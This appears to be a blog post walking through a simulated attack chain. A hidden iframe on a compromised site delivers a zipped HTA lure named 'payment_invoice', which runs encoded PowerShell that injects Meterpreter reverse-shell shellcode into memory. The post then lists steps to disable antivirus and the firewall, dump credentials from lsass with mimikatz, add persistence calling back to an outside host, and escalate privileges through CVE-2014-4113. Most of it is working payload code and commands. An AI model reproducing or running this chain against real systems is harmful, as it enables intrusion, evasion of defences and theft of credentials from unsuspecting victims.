HTA Loader with Powershell Invocation -> System Compromise via CVE-2014-4113

Goal:

Simulate a sophisticated adversary by leveraging a compromised website hosting a zip archive via iframe with .hta loader with the PowerShell invocation leading to Meterpreter Reverse TCP Shell.

Steps: 

  • python unicorn.py windows/meterpreter/reverse_tcp hta (credits go to Dave Kennedy)
  • Serve the .hta loader as zipped “payment_invoice” with the encoded PowerShell at /var/www/html
Additional Metasploit Commands:
  • msfconsole – r unicorn.rb
  • meterpreter shell
  • getsid
  • getuid
  • migrate
  • getsystem
  • run killav
  • run checkvm
  • exploit Windows7 Service Pack 1 msp
  • use incognito
  • run countermeasure
  • run countermeasure –d –k
  • shell
    • netsh firewall set opmode disable //disable firewall
  • run vnc
  • load mimikatz
  • ls
  • upload /home/user/mimikatz.exe C:\\
  • timestop mimikatz.exe -f “C:\\Windows\System32\\cmd.exe”
  • shell
    • mimikatz.exe
    • privilege::debug
    • inject::process lsass.exe sekurlsa.dll
    • getLogonPasswords
    • sekurlsa::logonPasswords full
  • run persistence -A -L C:\\ -X -i 10 -p 443 -r 192.168.0.196
  • attrib +h c:\autoexec.bat //make it hidden
  • Priv Esc Exploit CVE-2014-4113 (ms14_058_track_popup_menu)

iframe Source code: 
 
<iframe id="frame" src="payment_invoice950123.zip” application=”yes” width=0 height=0 style=”hidden” frameborder=0 marginheight=0 marginwidth=0 scrolling=no>>
 
Victim View
PowerShell Script:
 
$mcBY = ‘$kI9 = ”[DllImport(“kernel32.dll”)]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(“kernel32.dll”)]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(“msvcrt.dll”)]public static extern IntPtr memset(IntPtr dest, uint src, uint count);”;$w = Add-Type -memberDefinition $kI9 -Name “Win32” -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xc7,0xbe,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xd5,0x69,0x37,0x59,0x8d,0x05,0xae,0xc0,0x45,0xb4,0x2f,0xdf,0x23,0xf6,0xa4,0xec,0xd4,0xb8,0x4c,0x98,0xc6,0x2c,0xbd,0xd7,0xb5,0xfa,0xc2,0xcd,0xd0,0x02,0x57,0xea,0x72,0x55,0xcf,0xf0,0xa3,0x91,0x50,0x0a,0x86,0xaa,0x59,0x9e,0x69,0xc4,0xa5,0x4e,0x6a,0x14,0xf0,0x04,0x6a,0x7c,0xa4,0x7c,0x39,0x99,0xab,0xa8,0x2d,0x32,0x3e,0x53,0x04,0xe7,0xe9,0x3b,0xaa,0xde,0xde,0xe3,0x55,0x35,0xdf,0xd8,0x83,0x73,0x95,0x30,0x10;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$NNL=$w::VirtualAlloc(0,0×1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($NNL.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$NNL,0,0,0);for (;;){Start-sleep 60};’;$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($mcBY));$03F = “-EncodedCommand “;if([IntPtr]::Size -eq 8){$914J = $env:SystemRoot + “\syswow64\WindowsPowerShell\v1.0\powershell”;iex “& $914J $03F $e”}else{;iex “& powershell $03F $e”;}

III. Priv Esc Exploit CVE-2014-4113 (ms14_058_track_popup_menu):

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s